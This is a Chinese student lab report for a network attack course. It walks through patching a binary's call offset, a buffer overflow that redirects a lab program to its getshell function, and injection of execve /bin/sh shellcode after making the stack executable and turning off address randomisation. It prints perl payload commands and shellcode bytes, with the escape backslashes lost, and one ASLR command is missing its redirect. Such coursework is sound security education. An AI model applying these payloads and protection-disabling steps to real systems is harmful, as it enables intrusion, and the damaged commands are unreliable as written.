zoukankan      html  css  js  c++  java
  • 2019-2020-2 20175202葛旭阳《网络对抗技术》 Exp1 PC平台逆向破解

    2019-2020-2 20175202葛旭阳《网络对抗技术》 Exp1 PC平台逆向破解

    一、实验任务

    1.手动修改机器指令,改变程序执行流程;
    2.利用foo函数得BOF漏洞,通过构造输入参数,造成BOF攻击,从而改变程序执行顺序;
    3.注入Shellcode并执行。

    二、实验步骤

    【任务一:手动修改机器指令,改变程序执行流程】

    1.实验前将附件中的pwn1下载到之前设置的共享文件夹中,之后在终端中用cp命令复制到实验文件夹/175202/exp1中并进行备份。

    2.使用反汇编指令objdump -d pwn1 | morepwn1进行反汇编,结果如下。

    3.分析反汇编结果,我们发现可以看到函数的地址为08048491,main函数中的call 8048491 <foo>指令的机器码为e8 d7 ff ff ff,下一条指令的地址为80484ba。机器码中的0xffffffd7 = 0x080484ba - 0x08048491为主函数执行位置和foo函数起始地址的差。而0x080484ba - 0x0804847d = 0xffffffc3,因此需要把偏移地址改为C3 ff ff ff
    4.我们使用cp pwn1 pwn2pwn1进行备份,我们用vi编辑器打开pwn2文件。随后我们输入:%!xxd将可执行文件pwn2切换为16进制模式显示。
    5.我们找到指定位置,将d7修改位c3,输入:wq保存退出。

    6.分别运行pwn1pwn2文件,查看结果如下:

    【任务二:利用foo函数得BOF漏洞,通过构造输入参数,造成BOF攻击,从而改变程序执行顺序】

    1.我们使用cp pwn1 pwn3pwn1进行备份;

    2.使用命令gdb pwn3来调试程序,参数r开始运行,使用info r指令来显示寄存器的值:

    若输入的字符串小于等于28个字节,那么程序正常运行;我们发现若输入的字符串大于28个字节,则会报错。
    3.因为getshell函数的地址为0x0804847d,由于小端优先,而且输入字符串时以ASCII码输入。因此我们分析,要转换为x7dx84x04x08
    4.我们输入命令perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"' > input

    5.我们使用xxd input来查看文件内容,随后通过管道符|,作为pwn1的输入,格式为(cat input; cat ) | ./pwn3

    6.由上图可见,攻击成功。

    【任务三:注入Shellcode并执行】

    1.使用apt-get install execstack命令下载execstack软件包:

    2.使用sudo -s进入管理员权限,然后使用execstack -s pwn3命令设置堆栈可执行;
    3.使用execstack -q pwn3命令查询文件的堆栈是否可执行:

    4.使用more /proc/sys/kernel/randomize_va_space指令查看随机化是否关闭;
    5.使用echo "0" /proc/sys/kernel/randomize_va_space指令关闭随机化。

    6.模仿老师提供的代码,我们构造一个input_shellcode并注入:

    perl -e 'print "A" x 32;print "x4x3x2x1x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode
    

    7.打开两个终端,在a终端中输入指令(cat input_shellcode;cat) | ./pwn3来运行pwn3,在b终端中输入指令ps -ef | grep pwn3来查看pwn3的进程号;

    8.用gdb进行调试

    9.通过disassemble foo命令进行反编译,我们观察到看到ret指令的地址为0x080484ae,使用break *0x080484ae命令在此处设置断点;

    我们按下回车,程序会运行到断点,我们再再另一个终端中输入c,程序会继续运行,如上图所示。
    10.我们使用info r esp查看esp的寄存器地址,随后我们可以使用x/16x 0xffffd2cc指令实现以16进制形式查看0xffffd2cc地址后面16字节的内容。

    通过上图,我们可以观察到,0x01020304的地址为0xffffd28c,因此shellcode注入位置地址应为0xffffd28c+0x00000004=0xffffd290
    11.我们修改地址后注入;

    perl -e 'print "A" x 32;print"x90xd2xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode
    

    12.输入命令(cat input_shellcode;cat) | ./pwn3运行,从下图发现shellcode注入成功;

    三、实验过程中遇到的问题

    1.问题:在第三个实验中,使用gdb调试时,提示是不允许的操作,如下;

    解决:后来发现是因为pwn3的执行是在管理员权限下运行的,退出管理员权限后重新运行,解决了问题,如下;

    2.问题:下载execstack时,提示无法定位软件包,如下;

    解决:是Kali源的问题,找到sources.list文件,加入指令,解决了问题,如下;

    四、问题的回答

    1.什么是漏洞?漏洞有什么危害?
    回答:漏洞本质上是计算机在硬件、软件、协议的实现过程中和安全策略上存在的缺陷,攻击者可以利用漏洞对计算机进行攻击,来威胁系统安全。这可能会导致系统崩溃、机密泄露、数据篡改等危害,还可能会引起巨大的经济损失。
    2.掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码。
    回答:NOP汇编指令的机器码是“90”,JNE汇编指令的机器码是“75”,JE 汇编指令的机器码是“74”,JMP汇编指令的机器码是“eb”,CMP汇编指令的机器码是“39”。
    3.掌握反汇编与十六进制编程器。
    回答:反汇编指令:objdump -d file可以反汇编代码,objdump -l file可以在反汇编代码中插入文件名和行号,more实现分页显示,|管道符实现把一个命令的输出作为另一个命令的输入。
    回答:十六进制编程器:vim <filename>实现以ASCII码形式显示可执行文件的内容,:%!xxd实现以16进制模式显示,:%!xxd实现将16进制显示返回到ASCII码模式显示。

    五、实验心得与体会

    这并不是我们第一次接触缓冲区溢出攻击了,在上学期刚刚结束的信息安全技术和操作系统的课上,我们就比较深入的学习了缓冲区溢出攻击的基本原理。本次实验中,我第一次自己实现了缓冲区溢出攻击,真正理解了缓冲区溢出攻击的核心是地址转移操作。在实验的过程中,我发现自己对汇编语言忘得一干二净。同时自己对机器指令也不是很了解。不过在边学边做得过程中,我了解了很多知识,尤其是对堆栈的结构和操作有了很多认识,收获非常大。希望以后自己也能认真完成这些有趣的实验项目。
  • 相关阅读:
    Linux监控平台、安装zabbix、修改zabbix的admin密码
    LVS DR模式搭建、keepalived+lvs
    负载均衡集群相关、LVS介绍、LVS调度算法、LVS NAT模式搭建
    集群相关、用keepalived配置高可用集群
    mysql基础
    MySQL主从、环境搭建、主从配制
    Tomcat配置虚拟主机、tomcat的日志
    Tomcat介绍、安装jdk、安装Tomcat、配置Tomcat监听80端口
    FTP相关、用vsftpd搭建ftp、xshell使用xftp传输文件、使用pure-ftpd搭建ftp服务
    HTTP Status 500
  • 原文地址:https://www.cnblogs.com/gexvyang/p/12462784.html
Copyright © 2011-2022 走看看